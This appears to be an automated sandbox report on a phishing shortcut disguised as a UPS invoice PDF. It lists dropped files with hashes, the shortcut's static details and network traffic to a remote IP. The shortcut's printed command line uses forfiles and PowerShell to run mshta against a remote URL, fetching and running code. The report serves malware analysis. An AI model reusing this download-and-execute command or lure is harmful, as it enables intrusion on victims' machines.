Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2296b743-f1e4-4b7e-aa89-9bba3ba71b77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5d5f29c8-a0f8-4f82-8f03-8cb59a107c71.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\99d592b2-fbd8-49af-b668-7ecf38b8561c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e39e21f4-e07d-4400-a1ba-6bade7ec787f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/I+wYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:LwZG6b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	F5279DA3659F1FDF155BE793A409106A
SHA1:	B389FCDB8832ABD4BC4A06CB7E97107FC5E139EA
SHA-256:	4926C6879266E3E2301A1823FE1FF8772B1FA7A33163224B1B5C2695A0E372CA
SHA-512:	07CA1BF523F22967695DF263E7477135C69F5B9F6B612B8037F9434C099F5BE132957DAC9619F13F97FDDD6A543E78D395755F7BB644B34D864C46239F7DDAD6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\putty.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1663264
Entropy (8bit):	6.929148215184974
Encrypted:	false
SSDEEP:	49152:Plp9tHfYoEaTSiz23THT3WSMpDgF/qB0Rj6KIeVSc/zui+:PX/LEQkF/qBk6K2c/ii+
MD5:	5EFEF6CC9CD24BAEEED71C1107FC32DF
SHA1:	3CFC9764083154F682A38831C8229E3E29CBE3EF
SHA-256:	E61B8F44AB92CF0F9CB1101347967D31E1839979142A4114A7DD02AA237BA021
SHA-512:	CECD98F0E238D7387B44838251B795BB95E85EC8D35242FC24532BA21929759685205133923268BF8BC0E2DED37DB7D88ECBE2B692D2BE6F09C6D92A57D1FDAC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."............................@....................................q ....`..................................................H..........@.......8m...... W...................................=..(...0...@............S...............................text...V........................... ..`.rdata..\...........................@..@.data....U..........................@....pdata..8m.......n..................@..@.00cfg..8...........................@..@.gxfg...`*.......,..................@..@.tls.................:..............@..._RDATA..\............<..............@..@.rsrc...@............>..............@..@.reloc........... ..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\upsinvoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.5, 1 pages (zip deflate encoded)
Category:	dropped
Size (bytes):	93556
Entropy (8bit):	7.934411024179904
Encrypted:	false
SSDEEP:	1536:kKawmpcJxPhIUQR0iIN8oyG34uOqNckssvhi0Z3T9ADkkzgyMr2SSjW:kppSPhIUcIN4Is+i0tXyDS4W
MD5:	3C93073ACD357CA95D13F097621CC38D
SHA1:	566A4F6A4B23CD5CE56BB5F33FD7B411FC0205BF
SHA-256:	ED8753A4B9351239ADE1B941E01897CDBF1928A788C194EAC468F198C45BD779
SHA-512:	BADBC9BA9D89A3235919B7E652845940C9CA4C9E547A3219786E598F92973522EF0DD3B17337E2490B0F45544A9A5E45784F6F1AB0C8BF5F8C865D2C50C2967C
Malicious:	false
Preview:	%PDF-1.5..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en-US) /StructTreeRoot 13 0 R/MarkInfo<</Marked true>>>>..endobj..2 0 obj..<</Type/Pages/Count 1/Kids[ 3 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 8 0 R/F3 10 0 R>>/ExtGState<</GS7 7 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 5611>>..stream..x..][....~_`.C?%3...d.oF. .dG..-[..`.....j.iG.Q.....X.5.Mv.$..aG3.,V.#..{.'/.....7O_<+.........^..=......(^......XQ.E'X9.........v.~V........b....?..=....x...q*.=/.........O[.lvwW....uW.#.Pi]..l\|...J.$...^....U..b+6,.f...l........g..o.....#p.../y_t..[Q.+.....}.>?.....=U..).eYG.'5Z./{)..P...~..`M..:M.1<.q.x]....-fjt\|%Q~.^..\|..Am.2..$mD.-......S.O.m4..-[..2....RXt..6....vJ.+.9.....d._.KOz....6JE[..X..pK...Q.U..VY\.M.a.....gK^.._.%/....mo...x....#...P.]T.../3..~T@

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:09:57 2019, mtime=Wed Jun 12 01:24:42 2024, atime=Sat Dec 7 08:09:57 2019, length=41472, window=hidenormalshowminimized
Entropy (8bit):	4.648076363173948
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Invoice-UPS-218931.pdf.lnk.mal.lnk
File size:	1'186 bytes
MD5:	de45594e6e0700cd245eb48167b4d576
SHA1:	7903bc25f029d194a31783adb0c26cc461ac2ef2
SHA256:	d187de197e79e51a82eb727809d5fb6847c75104979ec9622429c2e74b55db5f
SHA512:	ca2277723575799aa00169dbf3a641ef54d30095196a42a5f32d39dca3b563b0b2094de709387f28c633c388172eade8f60baf74e35a0978ffc4a678b2237167
SSDEEP:	24:8d59hbIvDlpyAZPkEAc+/41+sPxZDSkaEabCWVIm0l:83YZgebnWkraRVIJl
TLSH:	2621AB091BEA4B76E3B79F7D58B77A1689397C87ED57DF0D008045484095600E874F3A
File Content Preview:	L..................F.... ...............o...................................E....P.O. .:i.....+00.../C:\...................V.1......X....Windows.@........OwH.X#^..............................W.i.n.d.o.w.s.....Z.1......Xg...System32..B........OwH.X!_......

File Icon


Icon Hash:	74f0e4e4e4e1e1ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\Windows\System32\forfiles.exe
Command Line Argument:	/p C:\Windows /m write.exe /c "powershell . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage"
Icon location:	shell32.dll

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 12:47:20.437999964 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:20.438055038 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:20.438137054 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:20.448259115 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:20.448282957 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:21.633876085 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:21.633980036 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:21.769401073 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:21.769440889 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:21.769800901 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:21.769870043 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:21.772070885 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:21.812503099 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.165719986 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.165745974 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.165760994 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.165803909 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.165841103 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.165849924 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.165894032 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.167642117 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.167659998 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.167730093 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.167736053 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.167783976 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.287976027 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.288003922 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.288065910 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.288086891 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.288110971 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.288126945 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.289877892 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.289897919 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.289963961 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.289972067 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.290005922 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.291693926 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.291708946 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.291753054 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.291759968 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.291798115 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.293028116 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.293042898 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.293102026 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.293107986 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.293147087 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.410855055 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.410878897 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.410963058 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.410988092 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.411031961 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.411961079 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.411976099 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.412024975 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.412034035 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.412094116 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.412094116 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.413026094 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.413041115 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.413175106 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.413183928 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.413229942 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.414352894 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.414367914 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.414444923 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.414449930 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.414489031 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.415546894 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.415560961 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.415628910 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.415635109 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.415678978 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.416166067 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.416181087 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.416228056 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.416234016 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.416270971 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.416287899 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.416640997 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.416699886 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.416711092 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:22.416750908 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.418101072 CEST	49705	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:22.418119907 CEST	443	49705	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:24.572926998 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:24.572971106 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:24.573045015 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:24.580090046 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:24.580105066 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.392349958 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.392502069 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:25.394205093 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:25.394221067 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.394479990 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.401614904 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:25.444506884 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.900938034 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.900983095 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.901005030 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.901146889 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:25.901189089 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.901303053 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:25.901803970 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.901830912 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.901885986 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:25.901892900 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:25.944392920 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.021277905 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.021303892 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.021545887 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.021574020 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.021629095 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.022653103 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.022675037 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.022722960 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.022747993 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.022773027 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.022797108 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.024379969 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.024399042 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.024478912 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.024513960 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.024558067 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.025300026 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.025366068 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.025376081 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.025398016 CEST	443	49708	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.025424004 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.025455952 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.028547049 CEST	49708	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.251638889 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.251681089 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:26.251856089 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.251983881 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:26.251997948 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.051975012 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.054503918 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:27.054527998 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.557420015 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.557454109 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.557471991 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.557535887 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:27.557560921 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.557578087 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:27.557661057 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:27.558753014 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.558777094 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.558850050 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:27.558859110 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.600609064 CEST	49710	443	192.168.2.8	5.188.88.146
Jul 2, 2024 12:47:27.677634001 CEST	443	49710	5.188.88.146	192.168.2.8
Jul 2, 2024 12:47:27.677663088 CEST	443	49710	5.188.88.146	192.168.2.8
